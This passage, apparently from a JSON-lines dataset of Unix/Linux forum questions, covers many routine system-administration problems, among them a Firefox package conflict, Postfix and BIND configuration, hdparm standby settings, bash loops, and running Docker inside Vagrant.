firefox-gnome-support 0 upgraded, 3 newly installed, 0 to remove and 38 not upgraded. Need to get 0 B/24.8 MB of archives. After this operation, 54.3 MB of additional disk space will be used. (Reading database ... dpkg: warning: files list file for package `mysqltuner' missing, assuming package has no files currently installed. (Reading database ... 192619 files and directories currently installed.) Unpacking firefox (from .../firefox_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/firefox_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb (--unpack): trying to overwrite '/usr/lib/firefox/extensions', which is also in package mint-search-addon 2012.05.11 Selecting previously unselected package firefox-globalmenu. Unpacking firefox-globalmenu (from .../firefox-globalmenu_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb) ... Selecting previously unselected package firefox-gnome-support. Unpacking firefox-gnome-support (from .../firefox-gnome-support_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb) ... Processing triggers for man-db ... Processing triggers for desktop-file-utils ... Processing triggers for bamfdaemon ... Rebuilding /usr/share/applications/bamf.index... Processing triggers for gnome-menus ... Processing triggers for mintsystem ... Errors were encountered while processing: /var/cache/apt/archives/firefox_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) * `sudo apt-get -f install` * 0 upgraded, 0 newly installed, 0 to remove, and 38 not upgraded Ideas? Tomcat6 only deploys my web application successfully in Firefox, not Chrome, so I'm really hoping to resolve this dependency issue."} {"_id": "10660", "title": "Can I change a shortcut key to Windows key?", "text": "I'm trying to change the shortcut key for \"Run Application\" ( `Alt`+`F2` ) to the Windows key. When I click \"Show the panel's Run application dialog box\" in Keyboard Shorcuts, it says \"New Shortcut\", waiting for my key combination. I press the Windows key\u2026 and nothing happens."} {"_id": "10661", "title": "Why is Run Application (Alt-F2) very sluggish on a new computer?", "text": "I just got a new, strong ubuntu desktop. First time linux user. I'm trying the Run Application app ( `Alt`+`F2` ), try \"Ch\" for Chrome, and the app thinks for 2-3 seconds before displaying the list of apps starting with \"ch\". This is semi-consistent - some searches are a bit faster, then they're slower again afterwards. What's up with that?"} {"_id": "10662", "title": "Oneliner for slicing an image?", "text": "I'm looking for a oneliner command that would slice an image into given proportions. Say input would be filename and slice dimensions. Are there any standard command-line tools for this? I tried ImageMagick to no avail since it garbled my image immensely (it's big, mostly transparent, png)."} {"_id": "13481", "title": "postfix doesn't respond on 25 from external server", "text": "I am trying to set up postfix with dovecot. I can telnet to localhost 25 and send a message to accounts on the server. However, when I try to telnet to port 25 on this server from another server I get \"421 Cannot connect to SMTP server\" ... \"connect error 10060\". The firewall is open right now: Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Is there some setting in main.cf which tells it whether or not it should listen on port 25 or 587 or whatever?"} {"_id": "13480", "title": "Enforce site-wide SSL on Debian LAMP", "text": "I have a Debian/Linux Lenny LAMP server w/Plesk Panel 10.2. I have a PHP/MySQL webapp deployed in a Plesk \"webspace\". I want to enforce SSL on site-wide. Do I just forward port 80 to 443? For my single domain cert, do I forward www.domain.com to domain.com or do I forward domain.com to www.domain.com? Should this happen with .htaccess or some vhost config file?"} {"_id": "90211", "title": "A Linux Distribution for Nintendo DS Lite", "text": "I want to use a linux OS on my Nintendo DS Lite. Tried to use the DSLinux, but it turned the device into white and non-responsive screens! Went on IRC channel and got the advice to learn C and solve the DSLinux problem!!!. So the question here is how I can peacefully get an operating system that I can run on my DS lite. The following steps created the error: * Got the file dslinux.tgz from http://www.dslinux.org/builds/. * Unzipped the file and moved its folder into a SD card. * Inserted the SD within R4SDHC adaptor card and turned on the DS. * Went to its folder and chose the Linux Logo. Then both screen went white."} {"_id": "90210", "title": "Remove window frame of a program", "text": "Is it possible to start a program without its window frame? For example: start flash standalone on a SUSE Linux Enterprise Server 11 sp2 machine without its window frame so it looks like when I start a browser and remove it's window- decoration and show the flash with the browser plugin. We could use the browser but the browser on SLES 11 sp2 is webkit 0.2 and is very bugy. I tried to remove the window with devilspie (http://rpm.pbone.net/index.php3/stat/4/idpl/15612342/dir/opensuse_11.x/com/devilspie-0.22-10.1.i586.rpm.html) but it does nothing. I was able to install it and set de .ds files but they have no effect. I started the program with: devilspie -d -a Devil's Pie 0.22 starting... Loading /etc/devilspie Loading /root/.devilspie Loading /root/.devilspie/flashplayer.ds 1 s-expression loaded. The \"flashplayer.ds\": (if (is (application_name) \"flashplayer\") (begin (undecorate) ) ) When I search for active windows with `xlsclients` it shows me that output: # xlsclients SLES11-SP2 xterm SLES11-SP2 /usr/bin/xconsole -notify -nostdin -verbose -exitOnFail SLES11-SP2 flashplayer So the `application_name` must match. Any idea to resolv it with `devilspie` or an other \"trick\"?"} {"_id": "13487", "title": "What are the most secure cryptsetup parameters to create an Encrypted filesystem?", "text": "According to http://16s.us/Linux/dm-crypt.txt, it's better to use only dm- crypt, because LUKS leaves a trace. That's OK. But, what are the most secure cryptsetup parameters to use? E.g.: \"aes-cbc-essiv:sha512\" is better then the default. Also the default cryptsetup uses 256bit AES, but it could be (max?) 512bit. Which parameters create an encrypted partition with the most security?"} {"_id": "90212", "title": "Why Redhat is not installing using HTTP", "text": "Im trying to install Rehdat using HTTP and these are the steps I preformed to do it. 1. I copied the iso image in /var/www/rhel/5.9/ 2. Then i made a HTTP YUM repo under /yum-repo.d/rhel-5.9.repo/Server Contents of rhel-5.9.repo [rhel-5.9.repo] name = Redhat 5.9 HTTP repo baseurl=http://localhost/rhel/5.9/installmedia/Server/ enabled=1 gpgcheck=0 3.Run YUM REPO LIST 4.I'm installing Redhat using Virtual Box. And both Server and Client are on same subnet 5.And when I start the installation and after skipping Test the Media Dialog Box I eject the Media. And installation stops. What Im doing wrong here."} {"_id": "58625", "title": "Need to change the mount Point of LVM /u001/app/oracle to /u001/", "text": "This is the situation.I installed the RHEL 5.5 on client's system and created LVM mount point at /u001/app/oracle and now he has installed DB on /u001/app/oracle. He is asked me to change the mount point of Existing LVM /u001/app/oracle to /u001/. And preserve the directories /app/oracle in /u001/. Problem is this if i change the mount point of LVM from /u001/app/oracle/ to /u001/ it will delete the directories /app/oracle and database will not be able to identify the NEW URL. Now this is what i need Change the mount point of /u001/app/oracle to /u001/ and preserve the /app/oracle/ directories (These two shouldn't be deleted after changing the mount point because these are the part of URL database is using) Directory Structure FileSystem Size Used Mounted on /dev/sda1 100G 21G / /dev/mapper/VolGroup00-LogVol00 450G 83G /u001/app/oracle /dev/sda2 487M 13M /boot"} {"_id": "58627", "title": "Fedora in Oracle VM VirtualBox: installing guest additions", "text": "What are the pros and conses of two method of installing VirtualBox guest additions: * via the `Devices -> Install Guest Additions...`; * via `su -c 'yum install VirtualBox-guest'` from `rpmfusion` repository."} {"_id": "140595", "title": "VirtualBox with a transparent drive", "text": "I want to create a virtualbox VM for experimenting with Linux that uses a directory or some device that is completely transparent to the outside. Further, I do not want networking to work on this VM. Essentially I want it to look very much like a chroot system, but it should be running in it's own emulated environment. Either that or I want the vdi or some other kind of emulation of a hardware I use to be mountable read/write on the host system."} {"_id": "58622", "title": "Make gVim use last compiled version of vim", "text": "I've compiled the latest version of vim with some options. Is there a way to make gVim use the same vim as in the console ?"} {"_id": "103706", "title": "Display hostname in GDM3 on Fedora 19 at login screen", "text": "I'm managing almost 100 lab PC's running Fedora 19. It's difficult to manage because it seems like no where that I can display the hostname at the login screen. GDM version: gdm-3.8-3.2"} {"_id": "58628", "title": "Why does drive not enter standby mode when using hdparm -S", "text": "When reading the `hdparm` manual pages, it says that the `-S` value > is used by the drive to determine how long to wait (with no disk activity) > before turning off the spindle motor to save power When configuring my drives with `hdparm -B 1 -K 1 -S 120 /dev/sd[d-z]` the output is: > > setting drive keep features to 1 (on) > setting Advanced Power Management level to 0x01 (1) > setting standby to 120 (10 minutes) > APM_level = 1 > And initial drive state `hdparm -C /dev/sd[d-z]` is \" _active/idle_ \". All these `/dev/sd[d-z]` drives are off the same make and model, not partitioned, not formatted and not mounted. After **waiting for 15 minutes** , the drive state is still \" _active/idle_ \". Only when issuing a \"Force an IDE drive to immediately enter the low power consumption standby mode\" using `hdparm -y /dev/sd[d-z]` the drive go to a \" _standby_ \" state. **Why do my drives not enter the low power consumption standby state** after the hdparm specified timeout value? * * * Some more drive specs derived from `hdparm -I /dev/sdd` /dev/sdd: ATA device, with non-removable media Model Number: Hitachi HDS5C3020BLE630 Firmware Revision: MZ4OAAB0 Transport: Serial, ATA8-AST, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6, SATA Rev 3.0; Revision: ATA8-AST T13 Project D1697 Revision 0b Standards: Used: unknown (minor revision code 0x0029) Supported: 8 7 6 5 Likely used: 8 Configuration: Logical max current cylinders 16383 16383 heads 16 16 sectors/track 63 63 -- CHS current addressable sectors: 16514064 LBA user addressable sectors: 268435455 LBA48 user addressable sectors: 3907029168 Logical Sector size: 512 bytes Physical Sector size: 4096 bytes Logical Sector-0 offset: 0 bytes device size with M = 1024*1024: 1907729 MBytes device size with M = 1000*1000: 2000398 MBytes (2000 GB) cache/buffer size = 22756 KBytes (type=DualPortCache) Form Factor: 3.5 inch Nominal Media Rotation Rate: 5700 Capabilities: LBA, IORDY(can be disabled) Queue depth: 32 Standby timer values: spec'd by Standard, no device specific minimum R/W multiple sector transfer: Max = 16 Current = 16 Advanced power management level: 1 DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 udma5 *udma6 Cycle time: min=120ns recommended=120ns PIO: pio0 pio1 pio2 pio3 pio4 Cycle time: no flow control=120ns IORDY flow control=120ns Commands/features: Enabled Supported: * SMART feature set Security Mode feature set * Power Management feature set * Write cache * Look-ahead * Host Protected Area feature set * WRITE_BUFFER command * READ_BUFFER command * NOP cmd * DOWNLOAD_MICROCODE * Advanced Power Management feature set Power-Up In Standby feature set * SET_FEATURES required to spinup after power up SET_MAX security extension * 48-bit Address feature set * Device Configuration Overlay feature set * Mandatory FLUSH_CACHE * FLUSH_CACHE_EXT * SMART error logging * SMART self-test Media Card Pass-Through * General Purpose Logging feature set * WRITE_{DMA|MULTIPLE}_FUA_EXT * 64-bit World wide name * URG for READ_STREAM[_DMA]_EXT * URG for WRITE_STREAM[_DMA]_EXT * WRITE_UNCORRECTABLE_EXT command * {READ,WRITE}_DMA_EXT_GPL commands * Segmented DOWNLOAD_MICROCODE unknown 119[7] * Gen1 signaling speed (1.5Gb/s) * Gen2 signaling speed (3.0Gb/s) * Gen3 signaling speed (6.0Gb/s) * Native Command Queueing (NCQ) * Host-initiated interface power management * Phy event counters * NCQ priority information Non-Zero buffer offsets in DMA Setup FIS DMA Setup Auto-Activate optimization Device-initiated interface power management In-order data delivery * Software settings preservation * SMART Command Transport (SCT) feature set * SCT Write Same (AC2) * SCT Error Recovery Control (AC3) * SCT Features Control (AC4) * SCT Data Tables (AC5) Security: Master password revision code = 65534 supported not enabled not locked frozen not expired: security count not supported: enhanced erase 416min for SECURITY ERASE UNIT. Logical Unit WWN Device Identifier: 5000cca37dc106a3 NAA : 5 IEEE OUI : 000cca Unique ID : 37dc106a3 Checksum: correct"} {"_id": "96908", "title": "How can I list all files and symlinks in a compact view?", "text": "This is my setup in `/tmp/test/` if I use `ls -l` -rw-r--r-- 1 rubo77 rubo77 0 Okt 21 04:15 a -rw-r--r-- 1 rubo77 rubo77 2 Okt 21 04:16 b drwxr-xr-x 2 rubo77 rubo77 4,0K Okt 21 03:58 c lrwxrwxrwx 1 rubo77 rubo77 1 Okt 21 03:57 d -> c lrwxrwxrwx 1 rubo77 rubo77 1 Okt 21 03:58 e -> a lrwxrwxrwx 1 rubo77 rubo77 2 Okt 21 03:59 f -> nofile * * * If I use just `ls` I see only the files without details: a b c d e f * * * `ls -F` appends an indicator (one of */=>@|) to entries a b c/ d@ e@ f@ * * * **How can I achieve this display?** a b c/ d->c/ e->a f->nofile"} {"_id": "96903", "title": "Open a port CentOS", "text": "I'm new in CentOS and I'm trying to create a little script in Python, something like: $ python -m SimpleHTTPServer If I try to access port 8000 in my web browser, I don't get access, however if I turn off the firewall with: $ system-config-firewall-tui I'm able to access the service. I just need to access port 3343 and 8880 but I don't want to disable the firewall."} {"_id": "96907", "title": "How do I check if a file is a symbolic link to a directory?", "text": "I can check, if a file exists and is a symbolic link with -L for file in *; do if [[ -L \"$file\" ]]; then echo \"$file is a symlink\"; else echo \"$file is not a symlink\"; fi done and if it is a directory with -d: for file in *; do if [[ -d \"$file\" ]]; then echo \"$file is a directory\"; else echo \"$file is a regular file\"; fi done But how can I test for only links to directories? * * * I simulated all cases in a test folder: /tmp/test# ls a b c/ d@ e@ f@ /tmp/test# file * a: ASCII text b: ASCII text c: directory d: symbolic link to `c' e: symbolic link to `a' f: broken symbolic link to `nofile'"} {"_id": "96906", "title": "while loop is running only once?", "text": "I am trying to make a clip out of video file by playing it only for certain interval. make_mclip.sh #!/bin/bash mediafile=$@ mediafile_fullpath=$PWD/./$mediafile tmpedlfile=$(mktemp) mplayer -edlout $tmpedlfile \"$mediafile\" &> /dev/null cat $tmpedlfile | while read f do startpos=$(echo $f | awk '{print $1}') endpos=$(echo $f | awk '{print $2}') length=$(echo \"$endpos-$startpos\" | bc) tmpclip=$(mktemp --suffix='.mclip' --tmpdir=$PWD) echo -e \"$mediafile_fullpath\\t$startpos\\t$length\" > $tmpclip mplayer_clip.sh \"$tmpclip\" &>/dev/null echo -n \"clip name : \" read clipname < /dev/tty mv -nv \"$tmpclip\" \"$clipname.mclip\" done echo doing rm \"$tmpedlfile\" mplayer_mclip.sh #!/bin/bash mediafile=$(cat \"$@\" | awk -F'\\t' '{print $1}') startpos=$(cat \"$@\" | awk -F'\\t' '{print $2}') length=$(cat \"$@\" | awk -F'\\t' '{print $3}') mplayer -ss $startpos -endpos $length \"$mediafile\" &> /dev/null But for some reason the while loop in make_mclip.sh is only run once even if $tempedlfile contains more than one line; the only exception is if the line mplayer_clip.sh \"$tmpclip\" &>/dev/null is removed. Whats wrong ? ps. I would also like to know if there is already a program for this ."} {"_id": "13158", "title": "ranaming multiple file in unix", "text": "> **Possible Duplicate:** > Renaming multiple files in unix Rename all files within a folder with the first word of their content(remember all the files should be text files. For example if a.txt contains \u201cUnix is an OS\u201d in its first line then a.txt should be renamed to Unix.txt"} {"_id": "120911", "title": "Your system isn't configured to run KVM properly", "text": "I am trying to install OpenStack on Ubuntu 12.04.3 Desktop AMD 64 in VMware on a host Dell Inspiron15R 5521 with Windows 8 64-bit. I have followed the tutorial here but I'm getting error > Your system isn't configured to run KVM properly. Investigate this before > continuing. after I run the command as suggested in tutorial ./openstack_networking.sh"} {"_id": "13151", "title": "Is there a OS/user-wide log to log to?", "text": "I'm using curl to dowload a jar from a TESTDRIVE script and for debugging purposes it helps to log the http headers returned to a log file. But logging them in the working dir (where the script is executed from) is inconvenient (for the user). I was wondering if there was a /logs/log in unix systems where applications could log their stuff. Console in the mac indeed seems to pickup logs from multiple applications, somehow."} {"_id": "20681", "title": "why for loop doesn't raise \"argument too long\" error?", "text": "I found that this would raise the \"argument too long\" error: ls *.* And this would not raise it: for file in *.* do echo $file done Why?"} {"_id": "20684", "title": "How to manipulate awk variable NF in zsh?", "text": "I have a simple command line: uptime | awk '{print $(NF - 2)}' In a bash shell, this works without a hitch, but when I run it in zsh, I get the following error: title:5: command not found: NF As usual this will be a pilot error (me not grokking how expansion works in zsh), but I cannot figure out what to do to get the same command to work in zsh. [Edit] The zsh version is 4.3.11 on OSX, and the output from `set -xv; uptime | awk '{print $(NF - 2)}'` is: $ set -xv; uptime | awk '{print $(NF - 2)}' title:5: command not found: NF +zsh:3> uptime +zsh:3> awk '{print $(NF - 2)}' 0.51 +precmd:1> title '%15<..<%~%<<' '%n@%m: %~' +title:1> [ '' '!=' true ']' +title:2> [[ xterm-256color == screen* ]] +title:4> [[ xterm-256color == xterm* ]] +title:5> print -Pn '\\e]2;%n@%m:\\ %~\\a' +title:6> print -Pn '\\e]1;%15\\<..\\<%~%\\<\\<\\a' +zsh:4> git_prompt_info +git_prompt_info:1> ref=+git_prompt_info:1> ref='' +git_prompt_info:1> return +zsh:4> vi_mode_prompt_info +vi_mode_prompt_info:1> echo '' So apparently the awk command works, but my terminal customization is borked."} {"_id": "13159", "title": "BIND Server problem in Fedora", "text": "I am install the Bind Server in Fedora Linux.I configured the named.conf file.However, When I run \"service named start\" command,I am receive the following error. starting named: /usr/sbin/named: symbol lookup error: /usr/sbin/named: undefined symbol:isc_stats_dump What can happen? Here is my the named.conf file. // // named.conf // // Provided by Red Hat bind package to configure the ISC BIND named(8) DNS // server as a caching only nameserver (as a localhost DNS resolver only). // // See /usr/share/doc/bind*/sample/ for example named configuration files. // options { listen-on port 53 { 127.0.0.1; }; listen-on-v6 port 53 { ::1; }; directory \"/var/named\"; dump-file \"/var/named/data/cache_dump.db\"; statistics-file \"/var/named/data/named_stats.txt\"; memstatistics-file \"/var/named/data/named_mem_stats.txt\"; allow-query { localhost; }; recursion yes; }; logging { channel default_debug { file \"data/named.run\"; severity dynamic; }; }; zone \".\" IN { type hint; file \"named.ca\"; }; include \"/etc/named.rfc1912.zones\"; zone \"ilker.net.\" { type master; allow-query{ any; }; file \"/var/named/ilker.net\"; }; I created the a file called ilker.net in the /var/named folder. Thanks in advance."} {"_id": "10592", "title": "How to access flash site that is rejecting my plugin (64-bit)?", "text": "I am trying to buy tickets on stubhub.com but the site is telling that I need to install the flash plugin. I already have a 64-bit flash plugin (Adobe) installed on my Fedora 14 64-bit system. youtube and all other flash content I have tried has worked fine. Just stubhub.com is a problem. I have tried both Firefox 4 and Chrome 9 with no success, however the page loaded fine on Chrome in Windows 7. So I am not sure if it is my plugin or browser, or both that is to blame. I was thinking about trying a 32bit plugin but I am not sure if that would work. There was a thread at linuxquestions.org, but no solutions: http://www.linuxquestions.org/questions/slackware-14/flash-player-problem- sometimes-857110/ Is there anyway that I can diagnose and bypass the plugin check on stubhub.com? I am sorry if this isn't a very clear question, but I never thought Linux would come between me and a pair of Yankees tickets. **UPDATE** Using both a wrapped 32-bit flash plugin and leigh123linux's 64-bit Fedora RPM plugin worked fine."} {"_id": "10596", "title": "Connecting fetchmail (or another MRA) to Exchange", "text": "I currently use fetchmail as my MRA, using IMAP to connect to my office's Exchange 2007 server. Unfortunately, IT is disabling POP3 and IMAP access soon. Does fetchmail support connecting to Exchange servers directly? If not (and I'm pretty convinced the answer is no), is there another MRA that does support Exchange?"} {"_id": "154782", "title": "Is possible to change X server without kill client?", "text": "My usecase: User opertes on `Server1` station. He can use ssh or whatever to connect with `Remote Station` and start some application on it and display it on his station (`Server1`). Now user has to change his place and operate on `Server2`. I know that he can start new instance of application and display it on `Server2`. But I want to dispaly the same running instane of application on `Server2`. Is it possible? How to do that? ![enter image description here](http://i.stack.imgur.com/0KnfJ.png)"} {"_id": "120444", "title": "How to move a window from one Window Manager to another running WM?", "text": "I use `libreoffice` on my `X11-server` and then I want to continue to work on the same text in the same window from another place using `VNC`. So, it would be nice if it is possible to detach a `X11-window` from one Window Manager and attach it to a different one (on a different DISPLAY running on a different X-server) which is already running. I'm using the `awesome window-manager`. Is this possible?"} {"_id": "20357", "title": "How can I make a script in /etc/init.d start at boot?", "text": "I think I read something a while back about this, but I can't remember how it's done. Essentially, I have a service in `/etc/init.d` which I'd like to start automatically at boot time. I remember it has something to do with symlinking the script into the `/etc/rc.d` directory, but I can't remember at the present. What is the command for this? I believe I'm on a Fedora/CentOS derivative."} {"_id": "20356", "title": "rpc.statd running on system not using NFS", "text": "I have a Debian machine that gets warnings (via the Tiger automatic auditor) that `rcp.statd` is listening on such-and-such socket. Googling shows `rpc.statd` is a daemon used by NFS. As far as I know, I'm not using (and have not installed) anything related to NFS. What would have installed/started this service, and what do I need to do to disable the appropriate `rcp.statd` and NFS daemons?"} {"_id": "94466", "title": "Didn't have to specify a login name during installation, now it asks me for one?", "text": "So I only created a root account during the installation process (which comes down to me only providing a root password, no name or ID or anything). During my first boot it sends me to a black screen (tty1) where it asks me for a login: (computer name) login: which I clearly never specified. Using 'root' and my corresponding password doesn't work. Neither does leaving \"login\" blank. Is this possible? Or is it some stupid mistake like an actual wrong password or a keyboard layout differing? (please consider the latter as a final explanation, I'm pretty sure that my password is correct, as I tried both possible regional layouts (azerty & qwerty, caps and non-caps)). Thanks in advance"} {"_id": "94467", "title": "Problem when trying to cross-compile an ethernet driver on an old Linux kernel", "text": "I'm currently trying to cross-compile a network driver against an old Linux kernel, in version 2.6.27.7 but the compilation fails and prints: make[1]: entering directory \u00ab /home/johann/Desktop/linux-2.6.27.7 \u00bb Building modules, stage 2. MODPOST 0 modules make[1]: leaving directory \u00ab /home/johann/Desktop/linux-2.6.27.7 \u00bb The command I ran to get this was taken from the readme found with the sources: make KSRC= KDIR= I'm no expert with makefiles, yet I think there's something wrong with the one provided by the driver source. Here's how it looks like: # # Makefile to build the be2net network driver # # find a source path that exists among the possible paths ver = $(shell uname -r) paths := /lib/modules/$(ver)/source /lib/modules/$(ver)/build exists = $(shell [ -e $(path)/include/linux ] && echo $(path)) paths := $(foreach path, $(paths), $(exists)) ifeq (,$(KSRC)) KSRC := $(firstword $(paths)) endif # ************** Header checks ******************** ifneq (,$(shell grep -o alloc_etherdev_mqs $(KSRC)/include/linux/etherdevice.h)) EXTRA_CFLAGS += -DALLOC_ETHDEV_MQS_defined endif ifneq (,$(shell grep -o alloc_etherdev_mq $(KSRC)/include/linux/etherdevice.h)) EXTRA_CFLAGS += -DALLOC_ETHDEV_MQ_defined endif ifneq (,$(shell grep -o netif_set_real_num_rx_queues $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DNETIF_SET_REAL_NUM_RX_QS_defined endif ifneq (,$(shell grep -o PCI_DEV_FLAGS_ASSIGNED $(KSRC)/include/linux/pci.h)) EXTRA_CFLAGS += -DPCI_FLAGS_ASSIGNED_defined endif ifneq (,$(shell grep -o skb_frag_set_page $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DSKB_FRAG_API_defined endif ifneq (,$(shell grep -o skb_frag_size $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DSKB_FRAG_SIZE_defined endif ifneq (,$(shell grep -o netdev_alloc_skb_ip_align $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DALLOC_SKB_IP_ALIGN_defined endif ifneq (,$(shell grep -o skb_record_rx_queue $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DSKB_RECORD_RX_QUEUE_defined endif ifneq (,$(shell grep -o rxhash $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DRXHASH_defined endif #GRO is usable only when full implementation is available ifneq (,$(shell grep -o napi_get_frags $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DGRO_defined endif ifneq (,$(shell grep -o netdev_alloc_skb $(KSRC)/include/linux/skbuff.h)) EXTRA_CFLAGS += -DALLOC_SKB_defined endif ifneq (,$(shell grep -o dev_mc_list $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DDEV_MC_LIST_defined endif ifneq (,$(shell grep -o pcie_set_readrq $(KSRC)/include/linux/pci.h)) EXTRA_CFLAGS += -DPCIE_SET_READRQ_defined endif ifneq (,$(shell grep -so vlan_group_set_device $(KSRC)/include/linux/if_vlan.h $(KSRC)/net/8021q/vlan.h)) EXTRA_CFLAGS += -DVLAN_GRP_SET_DEV_defined endif ifneq (,$(shell grep -o \"struct vlan_group\" $(KSRC)/include/linux/if_vlan.h)) EXTRA_CFLAGS += -DVLAN_GRP_defined endif ifeq (,$(shell grep -o \"vlan_hwaccel_receive_skb\" $(KSRC)/include/linux/if_vlan.h)) EXTRA_CFLAGS += -DUSE_NEW_VLAN_MODEL endif ifneq (,$(shell grep -o ndo_set_vf_mac $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DNDO_VF_CFG_defined endif ifneq (,$(shell grep -o ndo_set_features $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DNDO_SET_FEATURES_defined endif ifneq (,$(shell grep -so \"ethtool_cmd_speed_set\" $(KSRC)/include/linux/ethtool.h \\ $(KSRC)/include/uapi/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_CMD_SPEED_SET_defined endif ifneq (,$(shell grep -so \"ethtool_cmd_speed\" $(KSRC)/include/linux/ethtool.h \\ $(KSRC)/include/uapi/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_CMD_SPEED_defined endif ifneq (,$(shell grep -o \"ethtool_phys_id_state\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DPHYS_ID_STATE_defined endif ifneq (,$(shell grep -o \"flash_device\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_FLASH_defined endif ifneq (,$(shell grep -o \"get_sset_count\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_SSET_COUNT_defined endif ifneq (,$(shell grep -o \"set_dump\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_SET_DUMP_defined endif ifneq (,$(shell grep -o \"ethtool_ops_ext\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_OPS_EXT_defined endif ifneq (,$(shell grep -o \"pci_enable_pcie_error_reporting\" $(KSRC)/include/linux/aer.h)) EXTRA_CFLAGS += -DAER_REPORTING_defined endif ifneq (,$(shell grep -o \"pci_physfn\" $(KSRC)/include/linux/pci.h)) EXTRA_CFLAGS += -DPCI_PHYSFN_defined endif ifneq (,$(shell grep -o \"set_rxnfc\" $(KSRC)/include/linux/ethtool.h)) EXTRA_CFLAGS += -DETHTOOL_RXNFC_OPS_defined endif ifneq (,$(shell grep -o ndo_get_stats64 $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DNDO_GET_STATS64_defined endif ifneq (,$(shell grep -o txq_trans_update $(KSRC)/include/linux/netdevice.h)) EXTRA_CFLAGS += -DTXQ_TRANS_UPDATE_defined endif # ************* End header checks ***************** # ************* Targets *************************** ifeq ($(KERNELRELEASE),) ifeq ($(KDIR),) KDIR ?= /lib/modules/`uname -r`/build endif default: @$(MAKE) -C$(KDIR) M=$$PWD clean: @$(MAKE) -C$(KDIR) M=$$PWD clean else obj-$(CONFIG_BE2NET) += be2net.o be2net-y := be_main.o be_cmds.o be_ethtool.o be_compat.o be_misc.o inet_lro.o endif # ************* End Targets ************************ I didn't see any $(CONFIG_BE2NET) variable declared prior to its usage, for instance. I'm aware it's a specific issue... I've actually just started to learn how to produce makefile to help me understand this, but any help would be greatly appreciated :)"} {"_id": "20351", "title": "Prevent a subdirectory from getting deleted / enforce a directory structure", "text": "imagine the following folder structure > ../documents > > ../documents/templates I have two user groups: * editors * managers Users of both groups should be able to * create new files * modify any files * delete any files in ../documents. Both groups should also be able to read any files in ../documents/templates. Only users in group \"managers\" should be able to * create new files * modify any files * delete any files in ../documents/templates. The directory \"../documents/templates\" should be undeletable for both groups! How can I achieve that? I came to the conclusion, that this isn't possible with Linux (even with POSIX ACLs), because you need to set g=rwx for \"documents\", which will allow users of both groups to create/delete/modify **any** files in that directory... but +w also allows the deletion of the subdirectory \"templates\" and I don't know a way to deny that."} {"_id": "94465", "title": "Best way to benchmark different encryption solutions on my system", "text": "I want to compare different encryption solutions for encrypting my system, possibly different solutions for different parts of the system such as `/usr` or `/home`. In particular I look at dm-crypt partitions, containers, truecrypt, ecryptfs and encfs with different parameters. For several reasons I think that just measuring raw seq read and write speeds using `dd` is not enough: * seq read/write gives me different CPU loads, for example ecryptfs loads only one core (up to 100%) whereas dm-crypt is faster, but loads both cores, so in real use ecryptfs may be faster when the system is under load from other applications (maybe not, but how do I benchmark this?) * it's all about an SSD so I want to have benchmark, which indicates for which option the system will feel more responsive, so I should include some random read write tests or something like that as well (but I don't know how to do so) * benchmarking a solution for `/usr` may need other benchmarks than for `/home` since the i/o characteristics may be different I should add that my CPU doesn't support AES instructions, so it is a limiting factor in performance. I don't want to isolate a part of the system but compare the different encryption solutions for the SSD in my particular system. So what's the best way to benchmark in my case and how to do it in detail?"} {"_id": "122515", "title": "Creating a Vagrant box with Docker installed", "text": "I'm trying create a nice playground for Docker in Vagrant based on Vagrant's `precise64` box. (Code is available at GitHub: rfkrocktk/docker-vagrant- playground) Here's my Puppet provisioning dependencies for the instance: # Puppet for Docker Vagrant Box node default { # apt class { 'apt': } apt::source { 'docker': location => \"http://get.docker.io/ubuntu\", key => \"36A1D7869245C8950F966E92D8576A8BA88D21E9\", release => \"docker\", repos => \"main\", include_src => false } package { 'raring-kernel': name => 'linux-image-generic-lts-raring', ensure => present } package { 'lxc-docker': require => [apt::source[\"docker\"], Package[\"raring-kernel\"]] } } (This follows Docker's guide on installing on Ubuntu 12.04 LTS.) Unfortunately, I'm running into problems with this, as Docker more-or-less requires a later kernel (>=3.9), which is why the `linux-image-generic-lts- raring` package is declared as a dependency. It's also necessary to be _running_ this kernel to be able to use LXC (and by injunction, Docker) properly. After running `vagrant up` or `vagrant provision`, I restart the box to be able to boot into the new kernel. Unfortunately, the VirtualBox Guest Additions don't seem to be registered with DKMS properly: Failed to mount folders in Linux guest. This is usually because the \"vboxsf\" file system is not available. Please verify that the guest additions are properly installed in the guest and can work properly. The command attempted was: mount -t vboxsf -o uid=`id -u vagrant`,gid=`getent group vagrant | cut -d: -f3` /vagrant /vagrant mount -t vboxsf -o uid=`id -u vagrant`,gid=`id -g vagrant` /vagrant /vagrant Is there a simple way to get a box based on `precise64` with the Raring kernel running and installed properly? I'd like to be able to quickly get going with a 